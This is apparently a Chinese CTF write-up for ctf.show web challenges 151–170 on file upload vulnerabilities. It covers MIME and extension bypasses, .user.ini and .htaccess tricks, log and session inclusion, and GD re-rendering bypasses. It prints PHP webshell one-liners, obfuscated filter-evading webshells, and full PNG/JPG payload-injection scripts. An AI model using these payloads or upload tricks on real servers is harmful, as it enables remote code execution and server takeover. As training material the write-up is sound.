目录
大体思路
图片木马原理:
图片木马以文件上传漏洞为基本条件,将可执行的脚本写入到图片中去,再利用文件包含漏洞来执行图片中的一句话木马,从而获取目标服务器权限。
有个很迷的地方:
当你正常上传一个png文件后,开启代理再次上传,会提示上图的错误,群主说是因为js需要重置dom,开启代理并刷新一下再上传就好。
WEB151
上传非png文件时会报错,但是bp中没有流量产生,说明为前端过滤
方法:上传test.png(没错,只能是png,gif和jpg都不行)文件,内容为<?php eval($_GET[1]);?>然后bp抓包后修改后缀。访问这个文件RCE即可。
WEB152
知识点
MIME(多用途互联网邮件扩展类型)
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
一、
首先,我们要了解浏览器是如何处理内容的。在浏览器中显示的内容有 HTML、有 XML、有 GIF、还有 Flash ……那么,浏览器是如何区分它们,决定什么内容用什么形式来显示呢?答案是 MIME Type,也就是该资源的媒体类型。
媒体类型通常是通过 HTTP 协议,由 Web 服务器告知浏览器的,更准确地说,是通过 Content-Type 来表示的,例如:
Content-Type: text/HTML
注意,第二行为一个空行,这是必须的,使用这个空行的目的是将MIME信息与真正的数据内容分隔开。
表示内容是 text/HTML 类型,也就是超文本文件。为什么是“text/HTML”而不是“HTML/text”或者别的什么?MIME Type 不是个人指定的,是经过 ietf 组织协商,以 RFC 的形式作为建议的标准发布在网上的,大多数的 Web 服务器和用户代理都会支持这个规范 (顺便说一句,Email 附件的类型也是通过 MIME Type 指定的)。
前端过滤加MIME检查
上传png文件,修改后缀,访问文件RCE即可。
WEB153
知识点
本题考察.user.ini文件的知识
官方解释
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 和PHP_INI_ALL模式的 INI 设置可被识别。
具体的配置可以看该链接
也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。那么我们就去找我们需要用到配置,
发现 auto_append_file=filename //一个相当于在每个php文件尾加上 include(“filename”) auto_prepend_file=filename //一个相当于文件头加上 include(“filename”)
例子:
//.user.ini auto_prepend_file=1.png //1.png <?php phpinfo();?> //1.php(任意php文件)
满足这三个文件在同一目录下,则相当于在1.php文件开头里插入了包含语句include('1.png');
进行了文件包含,因为1.png里面有php代码,所以经过include之后就会代码执行。所以我们就依次上传即可另外还发现了这么一条
如果题目在php.ini中设置了open_basedir,那么我们就可以上传.user.ini进行修改open_basedir的值,当然条件比较苛刻。大家有兴趣可以研究研究。
想要引发.user.ini解析漏洞需要三个前提条件
服务器脚本语言为PHP
服务器使用CGI/FastCGl模式
上传目录下要有可执行的php文件
分析:
为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。
这样就在每个php文件上包含了我们的木马文件。
方法:
因为有前端和MIME限制。所以我们先上传图片,然后改为.user.ini即可。
内容为auto_append_file=test.png
然后在上传一个图片木马 test.png。
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。
从前面我们知道,upload目录下有一个index.php文件,,所以我们的图片木马里面的内容就加入到这个index.php里面了,只要使用这个文件即可触发攻击。
或者可以直接在upload/目录下进行给1赋值(访问/upload/ 默认访问index.php)。
例如这样:
WEB154
跟上题的步骤一样,只是上传图片木马时上传不上去,经过不断抓包,修改图片木马里面的内容发现是对<xphp做了限制(x为任何内容)
那就只有尝试使用短标签来替换<?php了
知识点:
php4种常见风格标签写法
1:正常写法xml格式
<?php
echo '1111';
?>
2:短标签
<?
echo '1111';
?>
5.4 起 <?= 'hello'; === <? echo 'hello';
<?=$a?>
<?=(表达式)?>
就相当于
<?php echo $a?>
<?php echo (表达式)?>
<?需要 php.ini 配置文件中的指令 short_open_tag 打开后才可用,或者在 PHP 编译时加入了 --enable-short-tags 选项。
而自 PHP5.4 起,短格式的 echo 标记 <?= 总会被识别并且合法,而不管 short_open_tag 的设置是什么。
3:asp风格写法
<%
echo '1111';
%>
(注释:这种写法在php配置中默认关闭了的,如果要正常输出,需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。)但是在php7之后被移除了
4:长标签风格
<script language="php">
XXXXXX
</script>
在php7之后被移除了
对于该题,我们可用使用<?=(表达式)?>进行绕过,图片内容<?=$_GET[1];?>
剩下的步骤同153
web155
和154一样
web156
在前面的基础上过滤了 []那我们直接用{}来代替
把图片木马内容改为:
<?=eval($_GET{1});?>即可
web157、158
在前面的基础上过滤了{}和分号,那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置
图片木马内容
<?=`tac ../f*`?>
或者
<?=system('tac ../f*')?>
因为有?>闭合所以可以不用;结尾
web159
过滤了括号
<?=`tac ../f*`?>
web160
过滤了括号反引号还有一些关键字,利用日志包含绕过,木马图片内容
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
因为log被过滤了。所以用拼接绕过
上传完.user.ini和木马图片后
访问网站然后修改ua头信息即可
具体操作:
先上传.user.ini文件
上传木马文件。
这里的木马图片其实是一个中间桥梁的作用,可以在.user.ini中直接包含日志文件。
不过这里不能直接写auto_append_file="/var/lo"."g/nginx/access.lo"."g",会解析错误:
可以写成 auto_append_file=/var/lo""g/nginx/access.lo""g
而<?=include"/var/lo"."g/nginx/access.lo"."g"?>可以解析成功。
因为后面是作为PHP文件解析(php字符串拼接的知识),而前面那个是服务器配置文件,语法不同(PHP中可以用.连接字符串这个设定)auto_append_file=/var/lo""g/nginx/access.lo""g可以的原因是环境服务器伪linux,这里是linux字符串拼接的知识。
修改UA,重新访问
然后访问/upload/目录就行了。
web161
方法:在160的基础上增加图片头即可,即 GIF89A
知识点:
文件上传漏洞之getimagesize()类型验证
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求,所以可以直接在图片内容开头添加GIF89A。
或者使用图片木马
图片木马的制作
图片木马的制作就是在原来正常的图片用文本打开后,在最后增加php代码即可
第二个方法1就是这样的原理
正常图片结尾
图片木马结尾:
也可以直上传一个正常图片然后抓包在数据最后加上代码就行
WEB162
这次把.和flag
给ban了,使用session文件包含
还是一样先上传.user.ini
,内容为
GIF89A
auto_append_file=/tmp/sess_monica
这样跳过了中间上传图片木马作为桥梁那部分,在upload/目录下就直接包含了session文件
然后构造一个上传session文件的包
<!DOCTYPE html>
<html>
<body>
<form action="http://c79ecd48-a6ab-4c73-87bc-e76e0f74e434.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
修改cookie,写入内容
访问upload/目录,目录下有index.php文件,即相当于在index.php文件中执行include /tmp/sess_monica
设置payload:
设置线程数
开始竞争即可
成功竞争:
WEB163
同WEB162
WEB164
png图片二次渲染
知识点:
二次渲染
将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。
只能上传png图片 ,不仅仅是前端进行了限制,后端也进行了png的检查,所以只修改前端绕过是没有用的。
可以发现文件上传成功后,点击查看图片会跳转到download.php?image=,
这就是这题的前提,跳转之后可能是有include($_GET[image]),所以会代码执行,如果没有,那么访问图片是不能执行代码的
我们先上传一个图片木马:
16进制格式
查看图片发现并没有执行
使用ctrl+s(command+s)将图片下载下来,上传这个图片
发现php代码没有了,猜测是进行了二次渲染。
这里使用大牛的png绕过二次渲染的脚本:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>
------------------------------------
创建1.png图片成功!
------------------------------------
脚本保存为 png二次渲染.php ,进入脚本所在目录,执行命令
php png二次渲染.php 1.png
//1.png可以换成任何
此时1.png内容为:
上传1.png
查看图片并传入命令:
使用ctrl+s(command+s)将图片下载下来,记事本打开即可
WEB165
这题改成了:jpg二次渲染
脚本:
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
使用方法:
1、随便找一个jpg图片,没有的网上搜jpg图片,下载图片即可,先把jpg图片上传至服务器然后再下载到本地保存为 1.jpg,和脚本放在一起
不过jpg图片成功率很低,下面是国光师傅分享了一张成功率比较高的图片
2、脚本保存为 jpg二次渲染.php,进入脚本目录,执行命令
php jpg二次渲染.php 1.jpg
那么就会在该目录下生成一个payload_1.jpg,其内容为:
3、上传payload_1.jpg 查看图片,抓POST的包,不要简单的刷新抓包
成功执行
WEB166
前提条件:
这里为啥直接访问upload/download.php?file=6943ab35cd43100186ebfc5f4069df58.zip就可执行一句话木马?
因为在后端的download.php代码中包含了我们上传的文件,也就当作PHP代码执行了。当然,这也是后话了…
附上download.php代码:
<?php
error_reporting(0);
$file= $_GET['file'];
if(!isset($file)){
die('鏂囦欢涓嶅瓨鍦�');
}
if(preg_match('/log|flag|data|input|file|compress|phar|http|https|ftp/', $file)){
die('鏂囦欢涓嶅瓨鍦�');
}
if(check($file)){
die('鏂囦欢涓嶅瓨鍦�!');
}else{
include($file); //注意此处!
header('Content-Type:application/x-zip-compressed');
}
function check($str){
$ret = FALSE;
$arrayName = array('ftp','file','/','http','https','phar','tmp','php','data','compress');
foreach ($arrayName as $key) {
$ret = checkPro($key,$str);
}
return $ret;
}
function checkPro($key,$str){
$len = strlen($key);
$mt = substr($str, 0,$len);
return $len==$mt;
}
注意include($file),这是我们zip能够执行php代码的条件!
方法:
前端限制上传类型为:zip
上传一个zip文件
注意:
这里自己上传的zip包,MIME类型为:Content-Type: application/zip
需要修改成:Content-Type: application/x-zip-compressed
上传成功后提示可以下载,
点击下载文件并抓包:
我们发现URL已经发生了变化,这时URL也就是我们上传的zip文件的位置,并且使用的是GET方法。
因为我们zip文件的内容为POST传参,所以不能直接使用这个GET包,得访问这个地址并POST传参
抓POST传参的包:
也可以直接用hackbar进行POST但是需要在POST命令后面加一个die();如果不使用die()那么就会直接下载文件不会显示内容,原因是因为这个Content-Type: application/x-zip-compressed
或者修改zip文件的内容为GET方法:
抓下载文件这个包
GET传参即可,注意需要使用URL编码
使用hackbar,同样道理
WEB167
根据提示 ,说明和apache有关,一开始以为是apache解析漏洞,然后上传a.php.xxx也没有被解析成php。
发现前端对jpg文件没有过滤,其实后端也进行了过滤,所以不能修改后缀为php
照以前上传.user.ini
的方法做,结果一访问/upload
却找不到文件,说明原来的/upload/index.php
文件没有了,但是注意页面发现服务器是Apache
知识点:
.htaccess 和.user.ini 配置文件妙用 · 大专栏
.htaccess 是 Apache 的配置文件,不过相当于一个局部配置文件,只对该文件所在目录下的文件起作用。
方法:
上传jpg图片,抓包修改文件名为.htaccess
内容为:
AddType application/x-httpd-php .jpg //将.jpg后缀的文件解析 成php
或者:
SetHandler application/x-httpd-php //将所有文件都解析为 php 文件
在上传一个muma.jpg,内容为一句话
下载图片,POST传参即可
WEB168
知识点:
$_REQUEST变量获得GET或POST的参数,值的注意的是,如果通过不同的方式获得相同变量的不同值,$_REQUEST变量只会获得最后传入的那个参数的值
基础免杀
前端限制只能为png格式,上传png木马图片
可以发现,muma.png图片中的内容应该是被检测,查杀了,所以没有上传成功
没有黑名单中的字符就不会被查杀
查阅发现过滤了eval,和system,$_POST $_GET等等(可以通过脚本fuzz出来)
前端设置为只能用jpg类型,bp抓包修改为php,文件内容修改 为免杀代码
以下是收集的脚本:
脚本1:
<?=`$_REQUEST[1]`;?> //利用反引号执行系统命令
脚本2:
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
//a=system&b=tac ../flagaa.php
脚本3:
<?php $a='syste'.'m';($a)('ls ../'); //拼接
//把ls ../换成tac ../flagaa.php即可找到flag
脚本4:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
//c相当于system,给1赋值参数即可
脚本5:
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>
脚本6:
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>
脚本7:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
#数字函数 get传参 abs=system&acos=tac ../flagaa.php
方法:修改后缀,内容为脚本,可以发现成功上传muma.php
访问muma.php
注意:url要变化,直接点下载文件是不行的
在访问的url上加上/upload/上传的文件名
WEB169
高级免杀
前端代码进行zip检测,只允许zip文件上传
但上传zip不上去
看了WP才知道,后端原来检查了MIME只能为image/png
抓包后修改为图片的MIME type为image/png就能成功上传了
后端同时对文件内容进行过滤: < > ? 空格 $等等
因为文件名可以为.user.ini
和php 而且过滤了很多东西,文件内容就不写一句话木马了,结合.user.ini进行日志包含。在UA头写一句话木马即可
方法:
先上传一个.user.ini文件内容为auto_append_file=/var/log/nginx/access.log
然后上传一个php文件,内容随意
将一句话写入UA,访问网址
访问1.php,注意前面要加上upload
WEB170
同WEB169
杂记
来源于师傅:D.MIND
.user.ini 不仅仅用于apache服务器,但要求上传目录下有一个php文件
.htaccess 只适用于apache服务器,没有文件的要求,可指定解析任意文件
如果要上传 .htaccess 文件但有getimagesize、exif_imagetype函数的检查,可以用#define width 1
和#define height 1
定义:这样.htaccess文件既不会受到影响而失效,又能绕过检测
#define width 1
#define height 1
AddType applocation/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ppp"
.htaccess还能配合伪协议的适用,解析已经上传的内容,那么上传的内容可以是base64编码后的,从而绕过敏感字符检查
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ppp"